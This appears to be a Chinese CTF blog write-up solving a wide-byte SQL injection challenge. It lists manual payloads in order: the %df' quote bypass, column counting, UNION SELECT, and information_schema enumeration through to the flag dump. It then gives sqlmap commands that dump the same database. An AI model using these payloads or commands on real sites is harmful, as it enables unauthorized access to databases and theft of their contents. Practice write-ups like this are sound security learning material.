宽字节手注+sqlmap

ctf:有趣的注入

(一)手注:

url:http://ctf.cdusec.org:8086/sqli.php?id=1
实验工具:火狐hackbar
x001:
输入:” ‘ “单引号无反应,再输入" %df’ "(宽字节注入,显示报错。)
截图:


在这里插入图片描述
在这里插入图片描述
x002判断列数:判断出来有3列。
http://ctf.cdusec.org:8086/sqli.php?id=1%df' order by 2 -- +

 http://ctf.cdusec.org:8086/sqli.php?id=1%df' order by 4 -- +

    1

x003判断注入点:

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,3 -- +

    1

在这里插入图片描述
x003:查询table

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

    1

在这里插入图片描述
x004:查询columns。
子查询:
使用单引号,双引号等被注释掉,最后用子查询查到。culumns

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,4))--+

    1

在这里插入图片描述
x005:查询dump

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,flag from flag--+

    1

在这里插入图片描述
x005:
flag:

flag{Just_4_b4by_SQLi}

    1

(二)slqmap跑:
x001:dbs

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=1%df%27" -p"id" --dbs

    1

x002:tables

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=1%df%27" -p"id" -D news --tables

    1

x004:dump

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=1%df%27" -p"id" -D news -T flag --dump

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值